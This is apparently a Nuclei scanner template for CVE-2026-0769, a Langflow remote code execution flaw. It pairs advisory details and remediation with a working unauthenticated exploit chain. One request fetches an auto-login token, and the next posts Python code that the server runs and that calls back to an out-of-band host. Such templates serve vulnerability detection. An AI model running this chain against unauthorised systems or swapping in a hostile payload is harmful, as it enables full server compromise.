Langflow exposes an API endpoint (/api/v1/custom_component) that evaluates attacker-supplied Python component code via eval_custom_component_code without adequate sandboxing or validation. A remote attacker can submit crafted component code that executes arbitrary commands when the code is evaluated by the server. On deployments where AUTO_LOGIN is enabled (the default in many releases), a valid session token can be obtained from /api/v1/auto_login without credentials, making the issue remotely exploitable without authentication. The affected version range spans a broad set of 1.x releases; consult the vendor advisory for the exact fixed version applicable to a given deployment.
id: CVE-2026-0769
info:
name: Langflow - Remote Code Execution via custom_component eval_custom_component_code
author: DhiyaneshDk
severity: critical
description: |
Langflow exposes an API endpoint (/api/v1/custom_component) that evaluates attacker-supplied Python component code via eval_custom_component_code without adequate sandboxing or validation. A remote attacker can submit crafted component code that executes arbitrary commands when the code is evaluated by the server. On deployments where AUTO_LOGIN is enabled (the default in many releases), a valid session token can be obtained from /api/v1/auto_login without credentials, making the issue remotely exploitable without authentication. The affected version range spans a broad set of 1.x releases; consult the vendor advisory for the exact fixed version applicable to a given deployment.
impact: |
Successful exploitation allows an attacker to execute arbitrary code on the Langflow server, potentially leading to full compromise of the host and any connected infrastructure.
remediation: |
Upgrade Langflow to 1.13.3 or later (stock 1.13.3 disables auto-login and rejects unauthenticated /api/v1/custom_component). Vendor advisories cite 1.10.1 as a fix, but a stock 1.10.1 image still issued an auto-login JWT and executed the custom-component payload. Disable AUTO_LOGIN, restrict access to the Langflow API, and avoid exposing it to untrusted networks.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-0769
- https://www.zerodayinitiative.com/advisories/ZDI-26-035/
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_0769.rb
- https://github.com/langflow-ai/langflow
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-0769
epss-score: 0.13039
epss-percentile: 0.9703
cwe-id: CWE-94
cpe: cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: langflow-ai
product: langflow
shodan-query: title:"Langflow"
fofa-query: title="Langflow"
tags: cve,cve2026,langflow,rce,oast,unauth,vkev
flow: http(1); http(2)
http:
- raw:
- |
GET /api/v1/auto_login HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: token
part: body
group: 1
internal: true
regex:
- '"access_token"\s*:\s*"([^"]+)"'
- raw:
- |
@timeout: 20s
POST /api/v1/custom_component HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"code": "from langflow.custom import Component\nfrom langflow.io import Output\nfrom langflow.schema import Data\n\n\nclass NucleiComponent(Component):\n display_name = \"nuclei\"\n description = \"nuclei\"\n icon = \"bot\"\n inputs = []\n outputs = [Output(display_name=\"output\", name=\"output\", method=\"build_output\")]\n try:\n import urllib.request\n urllib.request.urlopen(\"http://{{interactsh-url}}\", timeout=4)\n except Exception:\n pass\n\n def build_output(self) -> Data:\n return Data(value=\"ok\")\n", "frontend_node": {}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- http
- dns
condition: or
- type: word
part: body
words:
- '"base_classes"'
- '"conditional_paths"'
condition: or
# digest: 4a0a00473045022041dce7c59f9788ac9c1f00a4c5de9ec801f38aa988b375343d67b12dd707dffb022100bbc8bd0e5fd9d6074e132ce71202e6345f99aef2132397f5aa92f2bcf071f4cb:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.